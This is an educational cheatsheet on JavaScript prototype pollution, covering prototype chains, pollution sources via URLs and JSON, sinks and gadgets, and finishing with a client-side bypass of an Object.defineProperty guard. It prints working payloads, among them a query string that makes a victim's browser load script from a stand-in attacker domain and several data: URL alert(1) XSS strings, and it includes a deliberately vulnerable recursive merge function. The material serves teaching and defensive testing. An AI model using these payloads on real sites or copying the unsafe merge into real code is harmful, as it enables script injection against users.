JavaScript prototype pollutions cheatsheet
\/
Basic knowledge
What is a prototype in JavaScript?
Every object in JavaScript is linked to another object of some kind, known as its prototype. By default, JavaScript automatically assigns new objects one of its built-in prototypes. For example, strings are automatically assigned the built-in String.prototype. You can see some more examples of these global prototypes below:
1
2
3
4
5
6
7
8
9
10
11
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype
let myString = "";
Object.getPrototypeOf(myString); // String.prototype
let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype
let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype
Objects automatically inherit all of the properties of their assigned prototype, unless they already have their own property with the same key. This enables developers to create new objects that can reuse the properties and methods of existing objects.
The built-in prototypes provide useful properties and methods for working with basic data types. For example, the String.prototype object has a toLowerCase() method. As a result, all strings automatically have a ready-to-use method for converting them to lowercase
How prototype works
Whenever you reference a property of an object, the JavaScript engine first tries to access this directly on the object itself. If the object doesn’t have a matching property, the JavaScript engine looks for it on the object’s prototype instead
Example: toString not a property of myObject, but it is a property of Object.prototype
1
2
let myObject = {};
myObject.toString(); // "[object Object]"
Prototype chain
The prototype chain is the order in which the JavaScript engine looks for properties and methods. When you reference a property or method, the JavaScript engine searches for it on the object itself, then on its prototype, and so on until it finds the property or reaches the end of the chain. Note that an object’s prototype is just another object, which should also have its own prototype, and so on.
Means that the username
object has access to the properties and methods of both String.prototype
and Object.prototype
Accessing an object’s prototype using __proto__
The __proto__
property is a reference to the prototype object of the object. It is both getter and setter.
You can access __proto__
using either bracket or dot notation:
1
2
username.__proto__
username['__proto__']
And chain up:
1
2
3
username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null
Prototype pollution
Prototype pollution is a vulnerability that allows an attacker to modify the prototype of an object. This can be used to overwrite existing properties or add new properties to the targeted object.
The attacker can pollute the prototype with properties containing harmful values, which may subsequently be used by the application in a dangerous way.
It’s possible to pollute any prototype object, but this most commonly occurs with the built-in global Object.prototype
.
Successful exploitation of prototype pollution requires the following key components:
- A prototype pollution source - This is any input that enables you to poison prototype objects with arbitrary properties.
- A sink - In other words, a JavaScript function or DOM element that enables arbitrary code execution.
- An exploitable gadget - This is any property that is passed into a sink without proper filtering or sanitization.
Prototype pollution source
Prototype pollution via the URL
Consider the following URL, which contains an attacker-constructed query string:
1
https://vulnerable-website.com/?__proto__[evilProperty]=payload
The attacker can use this URL to pollute the prototype of the global Object.prototype
object. When breaking the query string down into key:value pairs, a URL parser may interpret __proto__
as an arbitrary string.
You might think that the __proto__
property, along with its nested evilProperty
, will just be added to the target object as follows:
1
2
3
4
5
6
7
{
existingProperty1: 'foo',
existingProperty2: 'bar',
__proto__: {
evilProperty: 'payload'
}
}
However, this isn’t the case. At some point, the recursive merge operation may assign the value of evilProperty
using a statement equivalent to the following:
1
targetObject.__proto__.evilProperty = 'payload';
Prototype pollution via JSON input
After the JSON.parse() function has parsed the attacker-supplied string, the __proto__
property will be added to the target object.
1
2
3
4
5
{
"__proto__": {
"evilProperty": "payload"
}
}
1
2
3
4
5
const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
objectLiteral.hasOwnProperty('__proto__'); // false
objectFromJson.hasOwnProperty('__proto__'); // true
Prototype pollution sink
A prototype pollution sink is essentially just a JavaScript function or DOM element that you’re able to access via prototype pollution, which enables you to execute arbitrary JavaScript or system commands.
Prototype pollution gadget
An exploitable gadget is any property that is passed into a sink without proper filtering or sanitization. Means that turning the prototype pollution vulnerability into an actual exploit.
Example:
1
let transport_url = config.transport_url || defaults.transport_url;
Now imagine the library code uses this transport_url to add a script reference to the page:
1
2
3
let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);
Attacker can pollute the global Object.prototype
with their own transport_url
property, this will be inherited by config
object. If the prototype can be polluted via a query parameter, for example, the attacker would simply have to induce a victim to visit a specially crafted URL to cause their browser to import a malicious JavaScript file from an attacker-controlled domain:
1
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
By providing a data: URL, an attacker could also directly embed an XSS payload within the query string as follows:
1
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
Note that the trailing // in this example is simply to comment out the hardcoded /example.js suffix
Real-case example:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// Example of vulnerable code that processes URL parameters
function processQueryParams(url) {
let params = {};
// Parse URL query parameters
const queryString = new URLSearchParams(url.split('?')[1]);
for (const [key, value] of queryString.entries()) {
// Vulnerable recursive merge function
merge(params, parseKey(key, value));
}
return params;
}
// Vulnerable merge function that recursively assigns properties
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Parse nested keys like "a[b][c]" into object structure
function parseKey(key, value) {
let result = {};
let current = result;
let parts = key.match(/[^\[\]]+/g) || [];
for (let i = 0; i < parts.length - 1; i++) {
current[parts[i]] = {};
current = current[parts[i]];
}
current[parts[parts.length - 1]] = value;
return result;
}
// Example usage:
let url = "https://example.com/?__proto__[evilProperty]=malicious";
let params = processQueryParams(url);
- When the URL
https://example.com/?__proto__[evilProperty]=malicious
is processed:- The query parameter
__proto__[evilProperty]=malicious
is parsed - The
parseKey
function converts it into:{"__proto__": {"evilProperty": "malicious"}}
- The
merge
function then recursively assigns these properties to the target object, resulting in:
- The query parameter
- During the merge operation:
1
merge(params, {"__proto__": {"evilProperty": "malicious"}})
VULNERABLE: When it tries to set
target["__proto__"]["evilProperty"]
(target
object is theparams
object)- JavaScript interprets
__proto__
as a special property that references the object’s prototype - Instead of creating a new property named
__proto__
, it modifies the actual prototype
- JavaScript interprets
- Resulting in:
1 2 3 4
console.log({}.__proto__.evilProperty); // "malicious" // Now ALL objects inherit this property let newObj = {}; console.log(newObj.evilProperty); // "malicious"
Client-side exploitation
Finding source manually
- Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example:
vulnerable-website.com/?__proto__[foo]=bar
If success => in console:
Object.prototype.foo
- “bar” indicates that you have successfully polluted the prototype
- undefined indicates that the attack was not successful
Different payloads:
vulnerable-website.com/?__proto__.foo=bar
Repeat this process for each potential source.
Finding source using DOM Invader
Finding gadgets manually
Example sink:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
window.addEventListener("load", searchLogger);
Although the searchLogger prevent prototype pollution by using Object.defineProperty
, it still vulnerable that the Object.defineProperty
is missing property value
, it called only:
1
2
3
4
{
configurable: false,
writable: false
}
BUT MISSING value
property:
1
2
3
{
value: false // This is not specified!
}
Then the Object.defineProperty will be lookup the prototype chain for the value
property, and found it in Object.prototype
.
So the value of transport_url
will be overridden by data:,alert(1);
Payload:
/?__proto__[value]=data:,alert(1);